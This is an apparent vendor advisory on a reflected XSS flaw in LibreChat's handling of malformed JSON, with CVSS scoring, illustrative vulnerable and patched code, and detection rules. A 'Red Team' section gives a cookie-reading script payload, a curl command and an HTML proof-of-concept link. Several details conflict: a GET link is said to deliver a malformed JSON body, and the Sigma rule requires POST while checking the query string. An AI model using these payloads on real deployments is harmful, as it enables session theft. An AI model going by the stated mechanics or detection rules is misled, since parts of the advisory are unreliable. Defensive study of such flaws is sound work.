CVE-2025-66452

Executive Summary

CVE-2025-66452 is a reflected Cross-Site Scripting (XSS) vulnerability in LibreChat versions 0.8.0 and below. The flaw originates from the application's failure to handle JSON parsing errors from the express.json() middleware. When malformed JSON is sent, the error message generated by SyntaxError includes the user-supplied input, which is then reflected back in the HTTP response. An attacker can inject arbitrary HTML or JavaScript into this error response, leading to XSS if the Content-Type header is not strictly enforced. This vulnerability requires user interaction (e.g., clicking a crafted link) and can lead to session hijacking, credential theft, or defacement. No official patch is available at the time of writing.

Supply Chain & Package Security

This vulnerability is in the Node.js/Express.js application layer. The express.json() middleware is a standard part of the Express framework. The issue is not a supply chain compromise of a third-party package, but rather a misconfiguration or lack of error handling in the application's use of the middleware. The risk is that any deployment of LibreChat <= 0.8.0 is vulnerable. Users should monitor the LibreChat repository for a patch and consider implementing a Web Application Firewall (WAF) rule to block malformed JSON payloads in the interim.

CVSS Breakdown & Threat Level

CVSS Score: 4.7 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

• Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low - No special conditions are required; sending a malformed JSON payload is trivial.
• Privileges Required (PR): None - No authentication is needed to trigger the error.
• User Interaction (UI): Required - The victim must click a crafted link or visit a malicious page that sends the malformed request.
• Scope (S): Changed - The XSS can execute in the victim's browser, affecting the application's security context.
• Confidentiality (C): Low - Limited data exposure (e.g., session tokens) is possible.
• Integrity (I): Low - An attacker can modify content within the victim's session.
• Availability (A): None - The vulnerability does not affect service availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the ease of exploitation make this a significant risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability lies in how LibreChat handles JSON parsing errors from the express.json() middleware. When a client sends a request with a Content-Type: application/json header but the body contains malformed JSON (e.g., {"key": "value" missing a closing brace), the express.json() middleware throws a SyntaxError. The default error handler in Express (or a custom one in LibreChat) catches this error and constructs a response that includes the error message. The error message from SyntaxError includes the raw input that caused the error.

For example, a request with body {"key": "value" would produce an error message like:

SyntaxError: Unexpected end of JSON input
    at JSON.parse (<anonymous>)
    at ...
    at ... body: {"key": "value"

If the application reflects this error message in the HTTP response without proper sanitization, an attacker can inject HTML/JavaScript. For instance, sending a body like {"key": "<script>alert('XSS')</script>" would cause the error message to include the script tag, which would then be rendered by the victim's browser if the Content-Type is not strictly set to application/json (or if the browser ignores it).

The key issue is that the error handler does not sanitize the user input before including it in the response. Additionally, if the Content-Type header is not enforced to be application/json for error responses, the browser may interpret the response as HTML, leading to XSS.

Vulnerable vs. Patched Code

Vulnerable Code (LibreChat <= 0.8.0):

// Example of a vulnerable error handler
app.use((err, req, res, next) => {
  if (err instanceof SyntaxError && err.status === 400 && 'body' in err) {
    // Directly reflects the error message which includes user input
    res.status(400).send(`Invalid JSON: ${err.message}`);
  } else {
    next(err);
  }
});

Patched Code (Hypothetical Fix):

// Patched error handler with sanitization
app.use((err, req, res, next) => {
  if (err instanceof SyntaxError && err.status === 400 && 'body' in err) {
    // Sanitize the error message to prevent XSS
    const safeMessage = err.message.replace(/</g, '&lt;').replace(/>/g, '&gt;');
    res.status(400).json({ error: 'Invalid JSON', details: safeMessage });
  } else {
    next(err);
  }
});

The patched code does two things:

1. It sanitizes the error message by escaping HTML characters.
2. It uses res.json() to ensure the Content-Type is always application/json, preventing the browser from rendering the response as HTML.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running LibreChat <= 0.8.0.
• A victim user who will click a crafted link.

Exploit Steps:

1. Craft a malicious JSON payload that includes an XSS vector. For example:

   {"key": "<script>alert(document.cookie)</script>"
   

   Note the missing closing brace to trigger the SyntaxError.

2. Encode the payload for URL or form submission. For a GET request (if the endpoint accepts JSON via query parameters), the URL might look like:

   http://target.com/api/endpoint?data=%7B%22key%22%3A%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22
   

   For a POST request, use a tool like curl:

   curl -X POST http://target.com/api/endpoint \
     -H "Content-Type: application/json" \
     -d '{"key": "<script>alert(document.cookie)</script>"'
   

3. Send the crafted request to the target. The server will respond with an error message containing the injected script.

4. If the victim's browser interprets the response as HTML (due to missing or incorrect Content-Type), the script will execute.

Proof of Concept (PoC):

<!-- Host this on an attacker-controlled site -->
<a href="http://target.com/api/endpoint?data=%7B%22key%22%3A%22%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E%22">Click me</a>

Blue Team (Defensive)

Detection:

• Monitor for requests with malformed JSON bodies (e.g., missing braces, extra commas).
• Look for error responses containing HTML tags or script keywords.
• Use a WAF to block requests with suspicious patterns in the JSON body.

Mitigation:

• Apply the hypothetical patch described above.
• Ensure the Content-Type header for error responses is always application/json.
• Implement a Content Security Policy (CSP) to restrict script execution.
• Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with malformed JSON bodies (e.g., missing closing braces, unescaped quotes).
  • HTTP responses with status 400 and body containing HTML tags or script code.
  • Unusual patterns in the data query parameter or POST body, such as <script> tags.

• Host IOCs:

  • Server logs showing SyntaxError: Unexpected token or similar errors.
  • Browser console errors indicating XSS attempts.

• File IOCs:

  • No specific file-based IOCs; this is a runtime vulnerability.

Detection Engineering

YARA Rule

rule CVE_2025_66452_LibreChat_XSS {
    meta:
        description = "Detects malformed JSON payloads attempting XSS via CVE-2025-66452"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-66452"
    strings:
        $json_error = /SyntaxError: Unexpected (token|end of JSON input)/ nocase
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $json_error and $xss_payload
}

Sigma Rule

title: CVE-2025-66452 - LibreChat JSON Parsing XSS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malformed JSON and XSS payloads targeting LibreChat
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        sc-status: 400
        cs-uri-query|contains: 
            - '<script'
            - 'alert('
            - 'onerror='
    condition: selection
falsepositives:
    - Legitimate error messages containing similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66452 - LibreChat JSON Parsing XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"application/json"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the hypothetical patch by modifying the error handler to sanitize output and use res.json().
2. Implement a WAF rule to block requests with malformed JSON bodies containing HTML/JavaScript.
3. Set a strict Content Security Policy (CSP) to prevent inline script execution.

Long-term Fix:

• Monitor the LibreChat repository for an official patch and upgrade as soon as it is released.
• Conduct a security review of all error handling in the application.
• Use a linter or static analysis tool to detect similar issues.

Workaround:

• Disable the express.json() middleware and use a custom parser that sanitizes errors, or use a reverse proxy to filter malformed requests.

Valters IT signature: This report is provided for educational and defensive purposes only. Unauthorized exploitation of this vulnerability is illegal.